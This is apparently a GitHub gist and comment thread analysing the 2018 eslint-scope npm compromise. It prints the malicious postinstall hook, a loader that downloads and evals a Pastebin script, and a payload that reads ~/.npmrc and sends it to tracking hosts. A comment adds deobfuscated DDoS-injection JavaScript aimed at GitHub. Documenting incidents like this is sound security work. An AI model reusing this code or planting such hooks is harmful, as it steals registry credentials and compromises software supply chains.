Instantly share code, notes, and snippets.

Embed
What would you like to do?
eslint-scope attack

The attacker modified package.json in both eslint-escope@3.7.2 and eslint-config-eslint@5.0.2, adding a postinstall script to run build.js.

{
+ "postinstall": "node ./lib/build.js",
}

build.js

This script downloads another script from Pastebin and evals its contents.

Some people have reported that this code has an issue:

r.on("data", c => {
  eval(c);
});

Because it doesn't wait for the request to complete, it is possible for the reqeuest to only send part of the script and the eval call to fail with a SyntaxError, which is how the issue was discovered.

pastebin (https://pastebin.com/XLeVP82h, taken down)

The script extracts the _authToken from a user's .npmrc and sends it to histats and statcounter inside the Referer header.

try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
Accept:
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
}
},
r => {
r.setEncoding("utf8");
r.on("data", c => {
eval(c);
});
r.on("error", () => {});
}
)
.on("error", () => {});
} catch (e) {}
try {
var path = require("path");
var fs = require("fs");
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
var content = "nofile";
if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, { encoding: "utf8" });
content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();
var https1 = require("https");
https1
.get(
{
hostname: "sstatic1.histats.com",
path: "/0.gif?4103075&101",
method: "GET",
headers: { Referer: "http://1.a/" + content }
},
() => {}
)
.on("error", () => {});
https1
.get(
{
hostname: "c.statcounter.com",
path: "/11760461/0/7b5b9d71/1/",
method: "GET",
headers: { Referer: "http://2.b/" + content }
},
() => {}
)
.on("error", () => {});
}
} catch (e) {}
@bcomnes

This comment has been minimized.

bcomnes commented Jul 13, 2018

Jackass botched his node streams ;V

@rozzzly

This comment has been minimized.

rozzzly commented Jul 13, 2018

@bcomnes Some of the largest attacks have been preformed by the shittiest code... for example: just a few years ago, GitHub got taken down by (what was at the time) the largest DDoS ever.

How was it achieved? Component's of China's "supposedly" compromised infrastructure preformed MitM attacks against citizens and injects JS which that included 2 seperate vesrions of jQuery that are used to call $.ajax on github....

Why 2 seperate versions of jQuery?? Wait—why jQuery? You would think the hacks responsible for what blog articles were calling "largest digital attack against freespeech ever" would know about window.XMLHttpRequest

read more: https://news.ycombinator.com/item?id=9275041
aformentioned deobfuscated attack code:

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);
@bwlt

This comment has been minimized.

bwlt commented Jul 13, 2018

Typo on first line of readme.md.
eslint-escope eslint-scope

@brunosaboia

This comment has been minimized.

brunosaboia commented Jul 13, 2018

@mim-Armand

This comment has been minimized.

mim-Armand commented Jul 13, 2018

Has the content of the Pasetbin remained the same during the attack?

If not, what we know about the attack may be what the attacker wanted us to know, even tho he doesn't seem to be that smart!

@jonesmac

This comment has been minimized.

jonesmac commented Jul 13, 2018

Any reason why npm (and others) insist on storing credentials in a known filename and location? Seems like making that configurable would limit a lot of this. Maybe it is and I'm just not aware.

@gund

This comment has been minimized.

gund commented Jul 13, 2018

@jonesmac if the path will be configured, then there should be a command to get that value - so it's just one more command to execute before accessing a file...

@jflayhart

This comment has been minimized.

jflayhart commented Jul 13, 2018

Why can't ECMA begin deprecating eval() entirely?

@mim-Armand

This comment has been minimized.

mim-Armand commented Jul 13, 2018

@jflayhart I think they should! I'm using Javascript, overall, for ~ 20 years now,.. never had to use eval() so far and I can't think of any scenario where there wouldn't be other, better, solutions for it..

@reinier-vegter

This comment has been minimized.

reinier-vegter commented Jul 13, 2018

While everyone is reporting this snippet captures authtokens for npmjs.com, it actually steals the complete content of someones npmrc because of the poor replacement/regex skills of this attacker, even though it's clear he/she expects npmjs.com tokens.

This means that credentials for private npm repositories are being confiscated as well!

@achansen121

This comment has been minimized.

achansen121 commented Jul 14, 2018

@reinier-vegter It's true that the regex will only try to remove the prefix and send the entire contents of the file.
They also did not escape the header though, so any multiline .npmrc files would not have made it through.

$ node -e "require('https').get({ headers: { 'user-agent': 'invalid\nheader', hostname: 'localhost' } })"


_http_outgoing.js:465
    throw err;
    ^

TypeError [ERR_INVALID_CHAR]: Invalid character in header content ["user-agent"]
    at ClientRequest.setHeader (_http_outgoing.js:474:3)
    at new ClientRequest (_http_client.js:184:14)
    at request (https.js:272:10)
    at Object.get (https.js:276:15)
    at [eval]:1:18
    at Script.runInThisContext (vm.js:91:20)
    at Object.runInThisContext (vm.js:298:38)
    at Object.<anonymous> ([eval]-wrapper:6:22)
    at Module._compile (internal/modules/cjs/loader.js:702:30)
    at evalScript (internal/bootstrap/node.js:531:27)

Is there a way to know the history of the pastebin? Could the script have been patched ever?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment